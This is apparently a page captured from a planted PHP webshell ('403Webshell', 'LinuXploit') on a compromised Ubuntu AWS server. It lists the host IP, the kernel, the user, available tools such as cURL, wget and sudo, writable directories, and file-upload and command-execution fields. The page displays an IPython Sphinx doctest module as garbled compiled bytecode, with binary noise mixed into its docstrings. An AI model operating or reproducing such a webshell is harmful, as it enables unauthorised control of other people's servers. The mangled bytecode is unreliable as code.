403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.143
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/IPython/sphinxext/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/IPython/sphinxext/__pycache__/custom_doctests.cpython-312.pyc
�

}�e���dZd�Zd�ZdeiZy)a
Handlers for IPythonDirective's @doctest pseudo-decorator.

The Sphinx extension that provides support for embedded IPython code provides
a pseudo-decorator @doctest, which treats the input/output block as a
doctest, raising a RuntimeError during doc generation if the actual output
(after running the input) does not match the expected output.

An example usage is:

.. code-block:: rst

   .. ipython::

        In [1]: x = 1

        @doctest
        In [2]: x + 2
        Out[3]: 3

One can also provide arguments to the decorator. The first argument should be
the name of a custom handler. The specification of any other arguments is
determined by the handler. For example,

.. code-block:: rst

      .. ipython::

         @doctest float
         In [154]: 0.1 + 0.2
         Out[154]: 0.3

allows the actual output ``0.30000000000000004`` to match the expected output
due to a comparison with `np.allclose`.

This module contains handlers for the @doctest pseudo-decorator. Handlers
should have the following function signature::

    handler(sphinx_shell, args, input_lines, found, submitted)

where `sphinx_shell` is the embedded Sphinx shell, `args` contains the list
of arguments that follow: '@doctest handler_name', `input_lines` contains
a list of the lines relevant to the current doctest, `found` is a string
containing the output from the IPython shell, and `submitted` is a string
containing the expected output from the IPython shell.

Handlers must be registered in the `doctests` dict at the end of this module.

c���ddl}ddlm}m}|jd�r|dd}|jd�r"|j	t|�t��}|S|jt
|��}|S)	aI
    Simplistic converter of strings from repr to float NumPy arrays.

    If the repr representation has ellipsis in it, then this will fail.

    Parameters
    ----------
    s : str
        The repr version of a NumPy array.

    Examples
    --------
    >>> s = "array([ 0.3,  inf,  nan])"
    >>> a = str_to_array(s)

    �N)�inf�nan�array�����[)�dtype)�numpyrr�
startswithr�eval�float�
atleast_1d)�s�nprr�as     �C/usr/lib/python3/dist-packages/IPython/sphinxext/custom_doctests.py�str_to_arrayr3se��"���|�|�H��
�a��G���|�|�D���H�H�T�!�W�E�H�*��
�H�
�M�M�%��(�#���H�c	��ddl}t|�dk(rd}d}n	t|d�}t|d�}	t|�}t|�}|j
|�}	|j
|�}
|j|	|
�}||j||	||
||��z}d
}|j}
|
�d}d}nL|
jjj}dj|
jD�cgc]}||z��	c}�}|rEd
}|j	||dj|�t|�t|�|��}t|��y#t$r"}dj	|�}t|�|�d}~wwxYw#d	}Y��xYwcc}w)z�
    Doctest which allow the submitted output to vary slightly from the input.

    Here is how it might appear in an rst file:

    .. code-block:: rst

       .. ipython::

          @doctest float
          In [1]: 0.1 + 0.2
          Out[1]: 0.3

    rN�g�h㈵��>g:�0�yE>�zEBoth `rtol` and `atol` must be specified if either are specified: {0})�rtol�atolTz    �Unavailable�
z�doctest float comparison failure

Document source: {0}

Raw content: 
{1}

On input line(s):
{TAB}{2}

we found output:
{TAB}{3}

instead of the expected:
{TAB}{4}

)�TAB)r�lenr�
IndexError�formatr�isnan�allclose�	directive�state�document�current_source�join�content�repr�RuntimeError)�sphinx_shell�args�input_lines�found�	submittedrrr�e�found_isnan�submitted_isnan�errorrr#�sourcer(�lines                 r�
float_doctestr6Us����
�4�y�A�~�����	'���a��>�D���a��>�D�7� ��+�	��U�#��
�h�h�u�o���(�(�9�-���K�K��_�=�=��
�R�[�[���|�!4�!*�O�+;�!<�&*��!�7�7�	7���C��&�&�I����������)�)�8�8���)�)�I�4E�4E�F�D�S�4�Z�F�G���6��
�H�H�V�W�d�i�i��&<�d�5�k��)�_�#�
�
/���1�o��
��;�	'�0�06��t��
��Q�-�Q�&��	'������"Gs(�E�E9�0F�	E6�E1�1E6�9E?rN)�__doc__rr6�doctests�rr�<module>r:s&��0�d 
�D@�J�]��r

Youez - 2016 - github.com/yon3zu
LinuXploit